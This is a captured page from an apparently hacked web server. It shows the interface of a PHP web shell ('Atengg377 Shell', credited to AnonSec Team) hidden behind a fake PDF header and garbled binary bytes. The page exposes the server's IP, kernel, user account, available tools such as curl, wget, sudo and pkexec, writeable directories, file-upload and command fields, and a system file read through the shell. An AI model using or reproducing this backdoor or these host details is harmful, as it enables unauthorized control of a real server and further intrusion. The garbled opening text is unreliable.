%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Atengg377 Was Here
Atengg377 Shell
Server IP : 134.209.215.61  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3609073/task/3609073/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3609073/task/3609073/root/proc/diskstats
   7       0 loop0 79593 0 1057092 5360 0 0 0 0 0 150284 5360 0 0 0 0 0 0
   7       1 loop1 45875 0 1509942 6315 0 0 0 0 0 109444 6315 0 0 0 0 0 0
   7       2 loop2 72498 0 1529572 5106 0 0 0 0 0 151616 5106 0 0 0 0 0 0
   7       3 loop3 15041 0 1096864 1788 0 0 0 0 0 49284 1788 0 0 0 0 0 0
   7       4 loop4 75267 0 1222052 5341 0 0 0 0 0 143376 5341 0 0 0 0 0 0
   7       5 loop5 23481 0 1644078 2922 0 0 0 0 0 79868 2922 0 0 0 0 0 0
   7       6 loop6 86452 0 1521196 7475 0 0 0 0 0 173452 7475 0 0 0 0 0 0
   7       7 loop7 63446 0 1147202 4254 0 0 0 0 0 125492 4254 0 0 0 0 0 0
 252       0 vda 5054149 317516 150937345 4126567 96703825 33814155 2042246532 131521826 0 68052844 137588372 569280 0 3847830308 57947 11746394 1882030
 252       1 vda1 5037698 259734 150308700 4123760 96703673 33813373 2042220800 131521507 0 68027036 135703194 569182 0 3837967784 57926 0 0
 252      14 vda14 455 0 4502 47 0 0 0 0 0 284 47 0 0 0 0 0 0
 252      15 vda15 1070 57782 77634 571 140 774 25628 316 0 972 909 98 0 9862524 21 0 0
 252      16 vdb 4659 0 1925 459 0 0 0 0 0 17980 459 0 0 0 0 0 0
   7       8 loop8 5004 0 344980 621 0 0 0 0 0 17208 621 0 0 0 0 0 0
   7       9 loop9 10 0 20 0 0 0 0 0 0 4 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team